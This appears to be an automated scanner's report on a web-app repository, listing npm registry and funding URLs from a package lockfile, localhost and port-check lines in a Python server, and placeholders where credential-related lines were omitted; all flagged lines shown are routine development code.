  • Network accessline 3717
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3718
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 3719
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3722
    "node_modules/resolve-from": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
  • Network accessline 3723
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",       "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
  • Network accessline 3724
    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
  • Network accessline 3732
    "node_modules/reusify": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
  • Network accessline 3733
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",       "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",
  • Network accessline 3734
    "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
  • Network accessline 3743
    "node_modules/rollup": {       "version": "4.59.0",       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
  • Network accessline 3744
    "version": "4.59.0",       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",       "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
  • Network accessline 3745
    "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
  • Network accessline 3788
    "node_modules/run-parallel": {       "version": "1.2.0",       "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
  • Network accessline 3789
    "version": "1.2.0",       "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",       "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
  • Network accessline 3790
    "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
  • Network accessline 3794
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 3795
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 3796
    "url": "https://github.com/sponsors/feross"
  • Network accessline 3798
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 3799
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 3800
    "url": "https://www.patreon.com/feross"
  • Network accessline 3802
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 3803
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 3804
    "url": "https://feross.org/support"
  • Network accessline 3812
    "node_modules/scheduler": {       "version": "0.28.0",       "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz",
  • Network accessline 3813
    "version": "0.28.0",       "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz",       "integrity": "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw==",
  • Network accessline 3814
    "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz",
  • Network accessline 3818
    "node_modules/semver": {       "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 3819
    "version": "6.3.1",       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
  • Network accessline 3820
    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
  • Network accessline 3828
    "node_modules/set-cookie-parser": {       "version": "2.7.2",       "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz",
  • Network accessline 3829
    "version": "2.7.2",       "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz",       "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==",
  • Network accessline 3830
    "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz",
  • Network accessline 3834
    "node_modules/shebang-command": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
  • Network accessline 3835
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",       "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
  • Network accessline 3836
    "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
  • Network accessline 3847
    "node_modules/shebang-regex": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
  • Network accessline 3848
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",       "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
  • Network accessline 3849
    "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
  • Network accessline 3857
    "node_modules/source-map-js": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
  • Network accessline 3858
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",       "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
  • Network accessline 3859
    "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
  • Network accessline 3867
    "node_modules/state-local": {       "version": "1.0.7",       "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz",
  • Network accessline 3868
    "version": "1.0.7",       "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz",       "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==",
  • Network accessline 3869
    "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz",
  • Network accessline 3873
    "node_modules/strip-json-comments": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
  • Network accessline 3874
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",       "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
  • Network accessline 3875
    "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
  • Network accessline 3881
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3882
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 3883
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3886
    "node_modules/sucrase": {       "version": "3.35.1",       "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",
  • Network accessline 3887
    "version": "3.35.1",       "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",       "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==",
  • Network accessline 3888
    "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",
  • Network accessline 3909
    "node_modules/supports-color": {       "version": "7.2.0",       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
  • Network accessline 3910
    "version": "7.2.0",       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",       "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
  • Network accessline 3911
    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
  • Network accessline 3922
    "node_modules/supports-preserve-symlinks-flag": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
  • Network accessline 3923
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",       "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6
  • Network accessline 3924
    "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
  • Network accessline 3930
    },       "funding": {         "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3931
    "funding": {         "url": "https://github.com/sponsors/ljharb"       }
  • Network accessline 3932
    "url": "https://github.com/sponsors/ljharb"
  • Network accessline 3935
    "node_modules/tailwindcss": {       "version": "3.4.19",       "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz",
  • Network accessline 3936
    "version": "3.4.19",       "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz",       "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==",
  • Network accessline 3937
    "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz",
  • Network accessline 3973
    "node_modules/thenify": {       "version": "3.3.1",       "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
  • Network accessline 3974
    "version": "3.3.1",       "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",       "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
  • Network accessline 3975
    "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
  • Network accessline 3983
    "node_modules/thenify-all": {       "version": "1.6.0",       "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
  • Network accessline 3984
    "version": "1.6.0",       "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",       "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
  • Network accessline 3985
    "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
  • Network accessline 3996
    "node_modules/tinyglobby": {       "version": "0.2.15",       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
  • Network accessline 3997
    "version": "0.2.15",       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",       "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",
  • Network accessline 3998
    "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
  • Network accessline 4008
    },       "funding": {         "url": "https://github.com/sponsors/SuperchupuDev"
  • Network accessline 4009
    "funding": {         "url": "https://github.com/sponsors/SuperchupuDev"       }
  • Network accessline 4010
    "url": "https://github.com/sponsors/SuperchupuDev"
  • Network accessline 4013
    "node_modules/tinyglobby/node_modules/fdir": {       "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 4014
    "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",       "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
  • Network accessline 4015
    "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 4031
    "node_modules/tinyglobby/node_modules/picomatch": {       "version": "4.0.3",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
  • Network accessline 4032
    "version": "4.0.3",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",       "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
  • Network accessline 4033
    "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
  • Network accessline 4039
    },       "funding": {         "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 4040
    "funding": {         "url": "https://github.com/sponsors/jonschlinkert"       }
  • Network accessline 4041
    "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 4044
    "node_modules/to-regex-range": {       "version": "5.0.1",       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
  • Network accessline 4045
    "version": "5.0.1",       "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",       "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
  • Network accessline 4046
    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
  • Network accessline 4057
    "node_modules/ts-api-utils": {       "version": "2.5.0",       "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz",
  • Network accessline 4058
    "version": "2.5.0",       "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz",       "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==",
  • Network accessline 4059
    "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz",
  • Network accessline 4070
    "node_modules/ts-interface-checker": {       "version": "0.1.13",       "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
  • Network accessline 4071
    "version": "0.1.13",       "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",       "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="
  • Network accessline 4072
    "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
  • Network accessline 4077
    "node_modules/type-check": {       "version": "0.4.0",       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
  • Network accessline 4078
    "version": "0.4.0",       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",       "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
  • Network accessline 4079
    "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
  • Network accessline 4090
    "node_modules/typescript": {       "version": "5.7.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz",
  • Network accessline 4091
    "version": "5.7.3",       "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz",       "integrity": "sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==",
  • Network accessline 4092
    "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.3.tgz",
  • Network accessline 4104
    "node_modules/typescript-eslint": {       "version": "8.71.0",       "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.71.0.tgz",
  • Network accessline 4105
    "version": "8.71.0",       "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.71.0.tgz",       "integrity": "sha512-fBdHYiqQ14RW6mOMXD14Svn82ZsCYAoQSzGRzyEjR59S5A2Krh/l7fGTOQ7iCr8gGy/mHVXtEF7s5fgjEdV0Pw==",
  • Network accessline 4106
    "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.71.0.tgz",
  • Network accessline 4119
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 4120
    "type": "opencollective",         "url": "https://opencollective.com/typescript-eslint"       },
  • Network accessline 4121
    "url": "https://opencollective.com/typescript-eslint"
  • Network accessline 4128
    "node_modules/update-browserslist-db": {       "version": "1.3.3",       "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.3.tgz",
  • Network accessline 4129
    "version": "1.3.3",       "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.3.tgz",       "integrity": "sha512-pJ2sYawQS0R/WI928Gj5GlPhTGzbMelq0+4INtSYNDV9ErKJcX6xjGWkoG/VnB3dpUm00zALaqkrUD77pO5TDQ=
  • Network accessline 4130
    "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.3.tgz",
  • Network accessline 4134
    {           "type": "opencollective",           "url": "https://opencollective.com/browserslist"
  • Network accessline 4135
    "type": "opencollective",           "url": "https://opencollective.com/browserslist"         },
  • Network accessline 4136
    "url": "https://opencollective.com/browserslist"
  • Network accessline 4138
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 4139
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/browserslist"         },
  • Network accessline 4140
    "url": "https://tidelift.com/funding/github/npm/browserslist"
  • Network accessline 4142
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 4143
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 4144
    "url": "https://github.com/sponsors/ai"
  • Network accessline 4159
    "node_modules/uri-js": {       "version": "4.4.1",       "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
  • Network accessline 4160
    "version": "4.4.1",       "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",       "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
  • Network accessline 4161
    "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
  • Network accessline 4169
    "node_modules/util-deprecate": {       "version": "1.0.2",       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
  • Network accessline 4170
    "version": "1.0.2",       "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",       "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
  • Network accessline 4171
    "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
  • Network accessline 4176
    "node_modules/vite": {       "version": "6.4.1",       "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
  • Network accessline 4177
    "version": "6.4.1",       "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",       "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==",
  • Network accessline 4178
    "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.1.tgz",
  • Network accessline 4195
    },       "funding": {         "url": "https://github.com/vitejs/vite?sponsor=1"
  • Network accessline 4196
    "funding": {         "url": "https://github.com/vitejs/vite?sponsor=1"       },
  • Network accessline 4197
    "url": "https://github.com/vitejs/vite?sponsor=1"
  • Network accessline 4251
    "node_modules/vite/node_modules/fdir": {       "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 4252
    "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",       "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
  • Network accessline 4253
    "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 4269
    "node_modules/vite/node_modules/picomatch": {       "version": "4.0.3",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
  • Network accessline 4270
    "version": "4.0.3",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",       "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
  • Network accessline 4271
    "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
  • Network accessline 4277
    },       "funding": {         "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 4278
    "funding": {         "url": "https://github.com/sponsors/jonschlinkert"       }
  • Network accessline 4279
    "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 4282
    "node_modules/which": {       "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 4283
    "version": "2.0.2",       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
  • Network accessline 4284
    "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
  • Network accessline 4298
    "node_modules/word-wrap": {       "version": "1.2.5",       "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
  • Network accessline 4299
    "version": "1.2.5",       "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",       "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
  • Network accessline 4300
    "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
  • Network accessline 4308
    "node_modules/yallist": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
  • Network accessline 4309
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",       "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
  • Network accessline 4310
    "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
  • Network accessline 4315
    "node_modules/yocto-queue": {       "version": "0.1.0",       "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
  • Network accessline 4316
    "version": "0.1.0",       "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",       "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
  • Network accessline 4317
    "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
  • Network accessline 4323
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4324
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 4325
    "url": "https://github.com/sponsors/sindresorhus"

web-app/package.json

  • Executable scriptline 1
    Executable file

web-app/postcss.config.js

  • Executable scriptline 1
    Executable file

web-app/server.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 106
    _default_cors_origins = [     f"http://127.0.0.1:{PORT}",
  • Network accessline 107
    f"http://127.0.0.1:{PORT}",
  • Network accessline 108
    f"http://localhost:{PORT}",
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Network accessline 596
    # Vite: "  Local:   http://localhost:5173/"
  • Network accessline 598
    # Next.js: "  - Local: http://localhost:3000"
  • Network accessline 600
    # Django: "Starting development server at http://127.0.0.1:8000/"
  • Network accessline 602
    # Flask: " * Running on http://127.0.0.1:5000"
  • Network accessline 608
    # Rails: "Listening on http://0.0.0.0:3000"
  • Network accessline 610
    # Laravel: "Server running on [http://127.0.0.1:8000]"
  • Network accessline 612
    # Phoenix: "Running MyApp.Endpoint with Bandit at http://localhost:4000"
  • Network accessline 619
    # Vite ready message: "ready in 300ms -- http://localhost:5173/"
  • Network accessline 658
    import socket         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 659
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Access to secretsline 1075
    [Credential-related source omitted]
  • Network accessline 1339
    }                     if use_portless and portless_app_name:                         result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"
  • Network accessline 1340
    if use_portless and portless_app_name:                         result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"                         result["port"] = 1355
  • Network accessline 1341
    result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"
  • Network accessline 1363
    }             if use_portless and portless_app_name:                 result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"
  • Network accessline 1364
    if use_portless and portless_app_name:                 result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"                 result["port"] = 1355
  • Network accessline 1365
    result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"
  • Network accessline 1378
    }         if use_portless and portless_app_name:             result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"
  • Network accessline 1379
    if use_portless and portless_app_name:             result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"             result["port"] = 1355
  • Network accessline 1380
    result["portless_url"] = f"http://{portless_app_name}.localhost:1355/"
  • Access to secretsline 1605
    [Credential-related source omitted]
  • Access to secretsline 1705
    [Credential-related source omitted]
  • Network accessline 1765
    try:                 def check() -> bool:                     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 1766
    def check() -> bool:                     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                     s.settimeout(1)
  • Network accessline 1767
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 1938
    if info.get("use_portless") and info.get("portless_app_name"):             app_name = info["portless_app_name"]             result["portless_url"] = f"http://{app_name}.localhost:1355/"
  • Network accessline 1939
    app_name = info["portless_app_name"]             result["portless_url"] = f"http://{app_name}.localhost:1355/"             if alive:
  • Network accessline 1940
    result["portless_url"] = f"http://{app_name}.localhost:1355/"
  • Access to secretsline 2104
    [Credential-related source omitted]
  • Access to secretsline 2297
    [Credential-related source omitted]
  • Access to secretsline 2679
    [Credential-related source omitted]
  • Network accessline 2755
    import urllib.request         focus_data = json.dumps({"project_dir": project_dir}).encode()         focus_req = urllib.request.Request(
  • Network accessline 2756
    focus_data = json.dumps({"project_dir": project_dir}).encode()         focus_req = urllib.request.Request(             "http://127.0.0.1:57374/api/focus",
  • Network accessline 2757
    focus_req = urllib.request.Request(
  • Network accessline 2758
    "http://127.0.0.1:57374/api/focus",
  • Network accessline 2761
    method="POST",         )         urllib.request.urlopen(focus_req, timeout=2)
  • Network accessline 2762
    )         urllib.request.urlopen(focus_req, timeout=2)         logger.info("Notified dashboard of project focus: %s", project_dir)
  • Network accessline 2763
    urllib.request.urlopen(focus_req, timeout=2)
  • Access to secretsline 2936
    [Credential-related source omitted]
  • Access to secretsline 2939
    [Credential-related source omitted]
  • Access to secretsline 3212
    [Credential-related source omitted]
  • Access to secretsline 3418
    [Credential-related source omitted]
  • Network accessline 3561
    url_match = re.search(r"https://gist\.github\.com/\S+", output)
